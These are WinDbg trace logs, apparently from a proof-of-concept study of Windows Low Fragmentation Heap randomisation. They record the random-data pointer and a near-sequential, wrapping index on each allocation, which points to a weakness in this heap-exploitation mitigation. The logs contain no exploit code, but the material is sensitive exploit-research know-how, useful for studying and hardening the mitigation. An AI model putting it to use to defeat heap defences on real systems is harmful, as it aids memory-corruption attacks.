RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000012 777 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000013 778 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000014 779 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000015 780 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000016 781 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000017 782 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000018 783 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000019 784 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000001a 785 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000001b 786 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000001c 787 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000001d 788 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000001e 789 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000001f 790 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000020 791 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000021 792 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000022 793 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000023 794 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000024 795 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000025 796 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000026 797 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000027 798 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000028 799 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000029 800 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000002a 801 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000002b 802 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000002c 803 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000002d 804 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000002e 805 | ModLoad: 00007ffb`0fb90000 00007ffb`0fb9f000 C:\WINDOWS\System32\kernel.appcore.dll 806 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000002f 807 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000032 808 | ModLoad: 00007ffb`13410000 00007ffb`134ae000 C:\WINDOWS\System32\msvcrt.dll 809 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000033 810 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000034 811 | ModLoad: 00007ffb`11180000 00007ffb`112a1000 C:\WINDOWS\System32\RPCRT4.dll 812 | ntdll!NtTerminateProcess+0x14: 813 | 00007ffb`137d6654 c3 ret 814 | -------------------------------------------------------------------------------- /debug_traces/build_16179_traces.txt: -------------------------------------------------------------------------------- 1 | Symbol search path is: srv* 2 | Executable search path is: 3 | ModLoad: 00007ff7`1a280000 00007ff7`1a403000 C:\Users\amarsa\LFH\lfh_random_poc.exe 4 | ModLoad: 00007ffb`e7e30000 00007ffb`e8008000 C:\Windows\SYSTEM32\ntdll.dll 5 | ModLoad: 00007ffb`e60a0000 00007ffb`e614c000 C:\Windows\System32\KERNEL32.DLL 6 | ModLoad: 00007ffb`e4e70000 00007ffb`e50bc000 C:\Windows\System32\KERNELBASE.dll 7 | (ec8.eb8): Break instruction exception - code 80000003 (first chance) 8 | ntdll!DbgBreakPoint: 9 | 00007ffb`e7ed2950 cc int 3 10 | 0:001> bp ntdll!RtlpLowFragHeapAllocFromContext+327 ".printf \"RtlpLowFragHeapRandomData == 0x%p, currIdx == 0x%p\\r\\n\", @rcx, @rax;g" 11 | 0:001> g 12 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000008 13 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000009 14 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000000a 15 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000000b 16 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000000c 17 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000000d 18 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000000e 19 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000000f 20 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000010 21 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000011 22 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000012 23 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000013 24 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000014 25 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000015 26 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000016 27 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000017 28 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000018 29 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000019 30 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000001a 31 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000001d 32 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000001e 33 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000001f 34 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000020 35 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000021 36 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000022 37 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000023 38 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000024 39 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000025 40 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000026 41 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000027 42 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000028 43 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000029 44 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000002a 45 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000002b 46 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000002c 47 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000002d 48 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000002e 49 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000002f 50 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000030 51 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000031 52 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000032 53 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000033 54 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000034 55 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000035 56 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000036 57 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000037 58 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000038 59 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000039 60 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000003a 61 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000003b 62 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000003c 63 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000003d 64 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000003e 65 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000003f 66 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000040 67 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000041 68 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000042 69 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000043 70 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000046 71 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000047 72 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000048 73 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000049 74 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000004a 75 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000004b 76 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000004c 77 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000004d 78 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000004e 79 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000004f 80 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000050 81 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000051 82 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000052 83 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000053 84 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000054 85 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000055 86 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000056 87 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000057 88 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000058 89 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000059 90 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000005a 91 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000005b 92 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000005c 93 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000005d 94 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000005e 95 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000005f 96 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000060 97 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000061 98 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000062 99 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000063 100 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000064 101 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000065 102 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000066 103 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000067 104 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000068 105 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000069 106 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000006a 107 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000006b 108 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000006c 109 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000006f 110 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000070 111 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000071 112 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000072 113 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000073 114 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000074 115 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000075 116 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000076 117 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000077 118 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000078 119 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000079 120 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000007a 121 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000007b 122 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000007c 123 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000007d 124 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000007e 125 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000007f 126 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000080 127 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000081 128 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000082 129 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000083 130 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000084 131 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000085 132 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000086 133 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000087 134 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000088 135 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000089 136 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000008a 137 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000008b 138 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000008c 139 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000008d 140 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000008e 141 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000008f 142 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000090 143 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000091 144 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000092 145 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000093 146 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000094 147 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000095 148 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000098 149 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000099 150 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000009a 151 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000009b 152 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000009c 153 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000009d 154 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000009e 155 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000009f 156 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000a0 157 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000a1 158 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000a2 159 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000a3 160 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000a4 161 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000a5 162 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000a6 163 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000a7 164 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000a8 165 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000a9 166 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000aa 167 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000ab 168 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000ac 169 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000ad 170 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000ae 171 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000af 172 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000b0 173 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000b1 174 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000b2 175 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000b3 176 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000b4 177 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000b5 178 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000b6 179 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000b7 180 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000b8 181 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000b9 182 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000ba 183 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000bb 184 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000bc 185 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000bd 186 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000be 187 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000c1 188 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000c2 189 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000c3 190 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000c4 191 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000c5 192 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000c6 193 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000c7 194 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000c8 195 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000c9 196 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000ca 197 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000cb 198 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000cc 199 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000cd 200 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000ce 201 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000cf 202 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000d0 203 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000d1 204 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000d2 205 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000d3 206 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000d4 207 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000d5 208 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000d6 209 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000d7 210 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000d8 211 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000d9 212 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000da 213 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000db 214 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000dc 215 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000dd 216 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000de 217 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000df 218 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000e0 219 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000e1 220 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000e2 221 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000e3 222 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000e4 223 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000e5 224 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000e6 225 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000e7 226 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000ea 227 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000eb 228 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000ec 229 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000ed 230 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000ee 231 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000ef 232 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000f0 233 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000f1 234 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000f2 235 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000f3 236 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000f4 237 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000f5 238 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000f6 239 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000f7 240 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000f8 241 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000f9 242 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000fa 243 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000fb 244 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000fc 245 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000fd 246 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000fe 247 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000ff 248 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000000 249 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000c6 250 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000c7 251 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000c8 252 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000c9 253 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000ca 254 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000cb 255 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000cc 256 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000cd 257 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000ce 258 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000cf 259 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000d0 260 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000d1 261 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000d2 262 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000d3 263 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000d4 264 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000d5 265 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000d8 266 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000d9 267 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000da 268 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000db 269 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000dc 270 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000dd 271 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000de 272 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000df 273 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000e0 274 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000e1 275 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000e2 276 | 